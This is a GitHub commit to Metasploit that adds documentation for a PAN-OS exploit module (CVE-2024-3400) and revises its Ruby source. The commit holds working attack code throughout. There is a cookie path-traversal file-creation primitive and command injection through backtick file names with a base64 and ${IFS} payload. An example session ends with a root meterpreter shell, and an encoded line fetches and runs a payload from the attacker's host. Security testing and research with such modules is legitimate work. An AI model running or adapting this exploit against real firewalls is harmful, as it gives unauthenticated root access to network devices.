Skip to content

Commit 982b6ae

Browse files
committed
Incorporating PAN-OS module peer review suggestions, adding documentation for the module
1 parent 22d3ee5 commit 982b6ae

File tree

2 files changed

+161
-39
lines changed

2 files changed

+161
-39
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Vulnerable Application
2+
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
3+
allow an unauthenticated attacker to create arbitrarily named files and execute
4+
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
5+
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
6+
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
7+
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
8+
one hour to execute, depending on how often the telemetry service is set to run.
9+
10+
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis).
11+
12+
## Testing
13+
Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the
14+
web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal)
15+
and/or [Gateway](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-gateways/configure-a-globalprotect-gateway).
16+
With either or both started, the `gpsvc` service will begin serving an HTTPS service on port 443 for the second
17+
network interface. Confirm that the web service presents a Palo Alto Networks login page when viewed. This web application
18+
is the target of the exploit, and the '/global-protect/login.esp' page should be accessible.
19+
20+
The exploit has been tested against PAN-OS 10.2.9, and it should also be effective against other vulnerable 10.2, 11.0,
21+
and 11.1 versions.
22+
23+
## Verification Steps
24+
25+
1. Start msfconsole
26+
2. `use exploit/linux/http/panos_telemetry_cmd_exec`
27+
3. `set RHOST <TARGET_IP_ADDRESS>`
28+
4. `set payload cmd/linux/http/x64/meterpreter_reverse_tcp`
29+
5. `set LHOST eth0`
30+
6. `check`
31+
7. `exploit`
32+
33+
## Scenarios
34+
35+
### Linux Command
36+
37+
Note: Ensure the target is vulnerable to unauthenticated file creation with the `check` command.
38+
39+
Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period.
40+
41+
```
42+
msf6 > use exploit/linux/http/panos_telemetry_cmd_exec
43+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
44+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > show options
45+
46+
Module options (exploit/linux/http/panos_telemetry_cmd_exec):
47+
48+
Name Current Setting Required Description
49+
---- --------------- -------- -----------
50+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
51+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
52+
RPORT 443 yes The target port (TCP)
53+
SSL true no Negotiate SSL/TLS for outgoing connections
54+
TARGETURI /global-protect/login.esp yes An existing web application endpoint
55+
VHOST no HTTP server virtual host
56+
57+
58+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
59+
60+
Name Current Setting Required Description
61+
---- --------------- -------- -----------
62+
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
63+
FETCH_DELETE false yes Attempt to delete the binary after execution
64+
FETCH_FILENAME EkcxbboZMyD no Name to use on remote system when storing payload; cannot contain spaces or slashes
65+
FETCH_SRVHOST no Local IP to use for serving payload
66+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
67+
FETCH_URIPATH no Local URI to use for serving payload
68+
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
69+
LHOST yes The listen address (an interface may be specified)
70+
LPORT 4444 yes The listen port
71+
72+
73+
Exploit target:
74+
75+
Id Name
76+
-- ----
77+
0 Default
78+
79+
80+
81+
View the full module info with the info, or info -d command.
82+
83+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226
84+
RHOSTS => 192.168.50.226
85+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25
86+
LHOST => 192.168.50.25
87+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585
88+
LPORT => 8585
89+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > check
90+
[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted
91+
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > exploit
92+
93+
[*] Started reverse TCP handler on 192.168.50.25:8585
94+
[*] Running automatic check ("set AutoCheck false" to disable)
95+
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted
96+
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
97+
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
98+
[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500
99+
[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target
100+
101+
meterpreter > getuid
102+
Server username: root
103+
meterpreter > sysinfo
104+
Computer : 192.168.50.216
105+
OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64)
106+
Architecture : x64
107+
BuildTuple : x86_64-linux-musl
108+
Meterpreter : x64/linux
109+
meterpreter >
110+
```

modules/exploits/linux/http/panos_telemetry_cmd_exec.rb

Lines changed: 51 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
1011
prepend Msf::Exploit::Remote::AutoCheck
1112

1213
def initialize(info = {})
@@ -15,26 +16,28 @@ def initialize(info = {})
1516
info,
1617
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
1718
'Description' => %q{
18-
This module exploits a vulnerability in Palo Alto Networks PAN-OS that
19-
allows an unauthenticated attacker to create arbitrarily named files and execute
19+
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
20+
allow an unauthenticated attacker to create arbitrarily named files and execute
2021
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
2122
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
2223
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
23-
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1.
24+
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
25+
one hour to execute, depending on how often the telemetry service is set to run.
2426
},
2527
'License' => MSF_LICENSE,
2628
'Author' => [
2729
'remmons-r7', # Metasploit module
2830
'sfewer-r7' # Metasploit module
2931
],
3032
'References' => [
31-
['CVE', '2024-3400'],
33+
['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier
3234
['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
33-
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'] # Initial Volexity report of the 0day exploitation
35+
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation
36+
['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis
3437
],
3538
'DisclosureDate' => '2024-04-12',
36-
'Platform' => 'linux',
37-
'Arch' => [ARCH_X64],
39+
'Platform' => [ 'linux', 'unix' ],
40+
'Arch' => [ARCH_CMD],
3841
'Privileged' => true, # Executes as root on Linux
3942
'Targets' => [ [ 'Default', {} ] ],
4043
'DefaultOptions' => {
@@ -43,22 +46,20 @@ def initialize(info = {})
4346
'RPORT' => 443,
4447
'SSL' => true,
4548
'FETCH_WRITABLE_DIR' => '/var/tmp',
46-
'WfsDelay' => 36000, # 1h, since telemetry service cronjob can take up to an hour
47-
'StagerRetryWait' => 3600 # 1h,since telemetry service cronjob can take up to an hour
49+
'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour
4850
},
4951
'DefaultTarget' => 0,
5052
'Notes' => {
5153
'Stability' => [CRASH_SAFE],
5254
'Reliability' => [REPEATABLE_SESSION],
5355
'SideEffects' => [
5456
IOC_IN_LOGS,
55-
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created.
56-
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log.
57-
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests.
58-
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected.
57+
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
58+
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
59+
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
60+
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
5961
ARTIFACTS_ON_DISK
60-
# Several 0 length files are created in the following directories during exploitation:
61-
# - /opt/panlogs/tmp/device_telemetry/day/
62+
# Several 0 length files are created in the following directories during checks and exploitation:
6263
# - /opt/panlogs/tmp/device_telemetry/hour/
6364
# - /opt/panlogs/tmp/device_telemetry/minute/
6465
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
@@ -76,56 +77,67 @@ def initialize(info = {})
7677

7778
def check
7879
# Try to create a new empty file in an accessible directory with the exploit primitive
80+
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
7981
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
8082
touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")
8183

8284
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
8385
res_check_created = send_request_cgi(
8486
'method' => 'GET',
85-
'uri' => normalize_uri("/global-protect/portal/fonts/#{file_check_name}")
87+
'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
8688
)
8789

90+
return CheckCode::Unknown('Connection failed') unless res_check_created
91+
8892
res_check_not_created = send_request_cgi(
8993
'method' => 'GET',
90-
'uri' => normalize_uri("/global-protect/portal/fonts/X#{file_check_name}")
94+
'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
9195
)
9296

93-
if (res_check_created&.code != 403) || (res_check_not_created&.code != 404)
94-
fail_with(Failure::UnexpectedReply, 'Arbitrary file write did not succeed!')
95-
end
96-
97-
remote_prot_scheme = datastore['SSL'] == true ? 'https://' : 'http://'
98-
remote_host = datastore['VHOST'] || datastore['RHOST']
99-
print_status("Arbitrary file write succeeded: #{remote_prot_scheme}#{remote_host}:#{datastore['RPORT']}/global-protect/portal/fonts/#{file_check_name}")
100-
print_status('Note: This file will not be deleted by the module.')
97+
return CheckCode::Unknown('Connection failed') unless res_check_not_created
10198

102-
CheckCode::Appears
103-
end
104-
105-
def execute_command(cmd)
106-
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
107-
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash${IFS}-"
99+
if (res_check_created.code != 403) || (res_check_not_created.code != 404)
100+
return CheckCode::Safe('Arbitrary file write did not succeed')
101+
end
108102

109-
# Create maliciously named files in all three possible telemetry directories
110-
touch_file("/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
111-
touch_file("/opt/panlogs/tmp/device_telemetry/day/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
112-
touch_file("/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`")
103+
CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
113104
end
114105

115106
def touch_file(file)
116107
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
108+
fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'
109+
117110
send_request_cgi(
118111
'method' => 'GET',
119112
'uri' => normalize_uri(target_uri.path),
120113
'headers' => {
121114
'Cookie' => "SESSID=./../../../..#{file}"
122115
}
123116
)
124-
print_status("Touched file: #{file}")
125117
end
126118

127119
def exploit
128-
execute_command(payload.encoded)
129-
print_status('Starting staged payload server. Depending on the version, it may take the telemetry service up to one hour to execute the payload.')
120+
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
121+
# Since payloads cannot contain spaces, ${IFS} is used as a separator
122+
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"
123+
124+
# Create maliciously named files in both telemetry directories that might be used by affected versions
125+
# Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
126+
# It's possible that the payload will execute twice, but we've only observed one location working during testing
127+
files = [
128+
"/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`",
129+
"/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
130+
]
131+
132+
files.each do | file_path |
133+
vprint_status("Creating file at #{file_path}")
134+
touch_file(file_path)
135+
136+
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
137+
register_file_for_cleanup(file_path)
138+
end
139+
140+
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
141+
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
130142
end
131-
end
143+
end

0 commit comments

Comments
 (0)